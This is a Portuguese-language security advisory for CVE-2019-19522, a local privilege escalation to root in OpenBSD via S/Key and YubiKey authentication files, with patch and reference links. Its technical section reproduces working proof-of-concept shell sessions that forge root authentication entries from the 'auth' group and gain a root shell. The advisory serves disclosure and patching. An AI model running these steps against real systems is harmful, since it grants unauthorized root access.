ASA-2019-00653 – OpenBSD: Escalação de privilégios local via S/Key e YubiKey


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00653

Identificador(es)

ASA-2019-00653, CVE-2019-19522

Título

Escalação de privilégios local via S/Key e YubiKey

Fabricante(s)

The OpenBSD Project

Produto(s)

OpenBSD

Versão(ões) afetada(s)

OpenBSD versions 6.6 before errata 009
OpenBSD versions 6.5 before errata 020

Versão(ões) corrigida(s)

OpenBSD version 6.6 errata 009
OpenBSD version 6.5 errata 020

OpenBSD versions 6.6 with the following patch applied:

009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig

OpenBSD versions 6.5 with the following patch applied:

020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig

Prova de Conceito

Sim

Descrição

O OpenBSD, em uma configuração não padrão em que a autenticação S/Key ou YubiKey está ativada, permite que os usuários locais se tornem root, através da participação no grupo auth. Isso ocorre porque o arquivo de root pode ser gravado em /etc/skey ou /var/db/yubikey e não precisa pertencer a root.

Detalhes técnicos

Se o tipo de autenticação S/Key ou YubiKey estiver ativado (ambos são instalados por padrão, mas desativados), um atacante local poderá explorar os privilégios do grupo “auth” para obter todos os privilégios do usuário “root” (porque login_skey e login_yubikey não verificam se os arquivos em /etc/skey e /var/db/yubikey pertencem ao usuário correto, e esses diretórios são graváveis pelo grupo “auth”).

(Nota: para obter os privilégios do grupo “auth”, um atacante local pode primeiro explorar o ASA-2019-00651 / CVE-2019-19520 no xlock.)

Se S/Key estiver ativado (via skeyinit -E), um atacante local com privilégios de “auth” poderá adicionar uma entrada S/Key (uma entrada em /etc/skey) para o usuário “root” (se esse arquivo já existir, o atacante não pode simplesmente removê-lo ou renomeá-lo, porque /etc/skey é persistente; existe uma solução alternativa simples e é deixada como um exercício para o leitor interessado):

------------------------------------------------------------------------------
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN

# id
uid=0(root) gid=0(wheel) ...
------------------------------------------------------------------------------

Se o YubiKey estiver ativado (via login.conf), um atacante local com privilégios de “auth” poderá adicionar uma entrada do YubiKey (dois arquivos em /var/db/yubikey) para o usuário “root” (se esses arquivos já existirem, o atacante pode simplesmente remover ou renomeá-los, porque /var/db/yubikey não é sticky):

------------------------------------------------------------------------------
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey
Password: krkhgtuhdnjclrikikklulkldlutreul

# id
uid=0(root) gid=0(wheel) ...
------------------------------------------------------------------------------

Créditos

Qualys Research Team

Referência(s)

OpenBSD 6.6 Errata
https://www.openbsd.org/errata66.html

OpenBSD 6.5 Errata
https://www.openbsd.org/errata65.html

009_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/009_mesaxlock.patch.sig

020_mesaxlock.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/020_mesaxlock.patch.sig

Constrain honouring of path-related environment variables based upon
https://github.com/openbsd/xenocara/commit/5886ab525a096cb2504f9e3ce1cd4fd79fb1e414

Full Disclosure: Authentication vulnerabilities in OpenBSD
https://seclists.org/fulldisclosure/2019/Dec/14

oss-security – Authentication vulnerabilities in OpenBSD
https://www.openwall.com/lists/oss-security/2019/12/04/5

Bugtraq: Authentication vulnerabilities in OpenBSD
https://seclists.org/bugtraq/2019/Dec/8

ASA-2019-00651 – OpenBSD: Escalação de privilégios via comando xlock
https://allelesecurity.com.br/asa-2019-00651/

CVE-2019-19520
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19520

CVE-2019-19520
https://nvd.nist.gov/vuln/detail/CVE-2019-19520

CVE-2019-19522
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19522

CVE-2019-19522
https://nvd.nist.gov/vuln/detail/CVE-2019-19522

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 11 fevereiro 2020

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.